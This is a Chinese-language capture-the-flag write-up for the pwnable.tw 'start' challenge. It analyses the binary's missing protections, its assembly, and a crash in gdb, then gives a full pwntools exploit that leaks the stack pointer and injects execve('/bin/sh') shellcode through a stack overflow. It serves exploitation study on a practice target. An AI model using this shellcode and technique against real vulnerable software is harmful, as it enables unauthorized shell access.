题目地址：https://pwnable.tw/challenge/#1

一、checksec 

pwnable.tw$ checksec start
[*] '/home/pwn/桌面/pwnable.tw/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
pwnable.tw$ 

什么保护都没有打开。

运行一下题目

pwnable.tw$ ./start 
Let's start the CTF:124545454545
pwnable.tw$ ./start 
Let's start the CTF:66666666666666666666666
[8]    5822 segmentation fault (core dumped)  ./start
pwnable.tw$ 

输入长一点就段错误了。

二、代码分析

打开IDA发现就一个_start 啥都没有了

这里从ELF 文件来看是汇编写的

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 ret

有点奇怪的是，一般来说、函数的开头都是

push    ebp
mov     ebp, esp

这里直接是esp 

具体的esp 和ebp 的区别在于 

参考：https://zhuanlan.zhihu.com/p/692696035

分别给eax,ebx,ecx,edx赋值(4,1,esp,20),然后int 80h系统调用
清ebx,给eax,edx赋值（3，60），然后int 80h系统调用

write(1,esp,20); // 从栈上读20个字节到标准输出（读内存）
read(0,esp,60);  // 从标准输入写60个字节到栈上（写内存）

运行程序进行测试、

pwnable.tw$ gdb start 
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from start...
(No debugging symbols found in start)
pwndbg> r
Starting program: /home/pwn/桌面/pwnable.tw/start 
Let's start the CTF:11111111111111111111111

Program received signal SIGSEGV, Segmentation fault.
0x0a313131 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS ]────────────────────────────────────
 EAX  0x18
 EBX  0x0
 ECX  0xffffd204 ◂— 0x31313131 ('1111')
 EDX  0x3c
 EDI  0x0
 ESI  0x0
 EBP  0x0
 ESP  0xffffd21c —▸ 0xffffd220 ◂— 0x1
 EIP  0xa313131 ('111\n')
─────────────────────────────────────[ DISASM ]─────────────────────────────────────
Invalid address 0xa313131z

这里溢出了1111  直接是认为是地址了。

三、漏洞点以及利用

首先泄露之前的esp
然后布置shellcode到栈上，并且计算相应的返回地址覆盖eip

画图所示

from pwn import *

context(os='linux',arch='i386',log_level='debug')

shellcode  = b"\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += b"\xcd\x80\x31\xc0\x40\xcd\x80"
print(len(shellcode))
myelf = ELF("./start")
io = process(myelf.path)

payload =b"a"*20
payload += p32(0x08048087)

io.recv()
io.send(payload)

oldesp = u32(io.recv(4))
io.recv()

payload = b"a"*20
payload += p32(oldesp+20)
payload += shellcode

io.send(payload)

io.interactive()